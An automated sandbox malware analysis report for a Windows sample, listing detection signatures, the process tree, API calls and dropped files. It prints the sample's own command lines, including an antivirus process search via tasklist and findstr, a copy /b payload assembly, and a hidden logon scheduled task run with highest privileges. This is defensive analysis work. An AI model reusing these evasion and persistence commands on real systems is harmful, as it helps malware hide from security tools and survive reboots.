Edit tour

Windows Analysis Report
QqHWdVqNBs.exe

Overview

General Information

Sample name:	QqHWdVqNBs.exe renamed because original name is a hash value
Original sample name:	45658cfd5c86375a3f47d821c8c8bfc7.exe
Analysis ID:	1520445
MD5:	45658cfd5c86375a3f47d821c8c8bfc7
SHA1:	01dfdac7115839b4dabc96dfe381d7231010838c
SHA256:	eca8448d70d825863070e154190f163d6917ba1f696402d8ed20ffe0e59f1bf5
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Found stalling execution ending in API Sleep call

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Sigma detected: WScript or CScript Dropper

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

Wscript called in batch mode (surpress errors)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

QqHWdVqNBs.exe (PID: 7344 cmdline: "C:\Users\user\Desktop\QqHWdVqNBs.exe" MD5: 45658CFD5C86375A3F47D821C8C8BFC7)

cmd.exe (PID: 7456 cmdline: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7520 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7528 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7568 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7576 cmdline: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7612 cmdline: cmd /c md 369580 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7628 cmdline: findstr /V "MaskBathroomsCompoundInjection" Participants MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7648 cmdline: cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Origin.pif (PID: 7692 cmdline: 369580\Origin.pif 369580\Z MD5: B06E67F9767E5023892D9698703AD098)

schtasks.exe (PID: 7772 cmdline: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7728 cmdline: timeout 15 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

wscript.exe (PID: 7848 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SecureHawk.pif (PID: 7900 cmdline: "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r" MD5: B06E67F9767E5023892D9698703AD098)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 369580\Origin.pif 369580\Z, ParentImage: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, ParentProcessId: 7692, ParentProcessName: Origin.pif, ProcessCommandLine: schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 7772, ProcessName: schtasks.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", ProcessId: 7848, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: 369580\Origin.pif 369580\Z, CommandLine: 369580\Origin.pif 369580\Z, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\369580\Origin.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7456, ParentProcessName: cmd.exe, ProcessCommandLine: 369580\Origin.pif 369580\Z, ProcessId: 7692, ProcessName: Origin.pif

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, CommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\QqHWdVqNBs.exe", ParentImage: C:\Users\user\Desktop\QqHWdVqNBs.exe, ParentProcessId: 7344, ParentProcessName: QqHWdVqNBs.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, ProcessId: 7456, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js", ProcessId: 7848, ProcessName: wscript.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7456, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , ProcessId: 7576, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: QqHWdVqNBs.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 86.7% probability

Source: QqHWdVqNBs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: QqHWdVqNBs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C347B7 GetFileAttributesW,FindFirstFileW,FindClose,	12_2_00C347B7
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C33B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00C33B4F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C33E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00C33E72
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_00C3C16C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3CB81 FindFirstFileW,FindClose,	12_2_00C3CB81
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	12_2_00C3CC0C
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00C3F445
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00C3F5A2
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C3F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_00C3F8A3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F47B7 GetFileAttributesW,FindFirstFileW,FindClose,	17_2_004F47B7
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F3E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_004F3E72
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FC16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_004FC16C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FCB81 FindFirstFileW,FindClose,	17_2_004FCB81
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FCC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_004FCC0C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FF445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_004FF445
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FF5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_004FF5A2
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004FF8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_004FF8A3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F3B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_004F3B4F

Source: unknown

DNS traffic detected: query: jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD replaycode: Name error (3)

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C4279E InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

12_2_00C4279E

Source: global traffic

DNS traffic detected: DNS query: jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD

Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: QqHWdVqNBs.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesigng20
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt04
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/0
Source: QqHWdVqNBs.exe, 00000000.00000003.1373917786.000000000289A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, SecureHawk.pif, 00000011.00000002.2579283031.0000000000558000.00000002.00000001.01000000.00000009.sdmp, Origin.pif.2.dr, Studios.0.dr, SecureHawk.pif.12.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: QqHWdVqNBs.exe, 00000000.00000003.1335365565.000000000289B000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000C.00000003.1443080760.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000C.00000002.2581379889.000000000407A000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.12.dr, Beginning.0.dr	String found in binary or memory: https://www.globalsign.com/repository/03

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C44614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		12_2_00C44614
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00504614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		17_2_00504614

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C44416 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

12_2_00C44416

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C5CEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		12_2_00C5CEDF
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0051CEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		17_2_0051CEDF

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Fighting entropy: 7.99892313786	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\June entropy: 7.99829631291	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Massachusetts entropy: 7.99846554018	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Radius entropy: 7.99902505433	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Stockings entropy: 7.99820786051	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Bdsm entropy: 7.99861815368	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Vendor entropy: 7.99556101212	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Convenience entropy: 7.99573659303	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Joke entropy: 7.99883402213	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Severe entropy: 7.99824795157	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Falls entropy: 7.99917331785	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Sig entropy: 7.9984885368	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Outreach entropy: 7.99921983985	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Dental entropy: 7.99901607447	Jump to dropped file
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	File created: C:\Users\user\AppData\Local\Temp\Mask entropy: 7.99382891469	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\369580\Z entropy: 7.99991695551	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	File created: C:\Users\user\AppData\Local\LinkGuard Dynamics\r entropy: 7.99991695551	Jump to dropped file

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C340C1: CreateFileW,DeviceIoControl,CloseHandle,

12_2_00C340C1

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C28D11 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

12_2_00C28D11

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
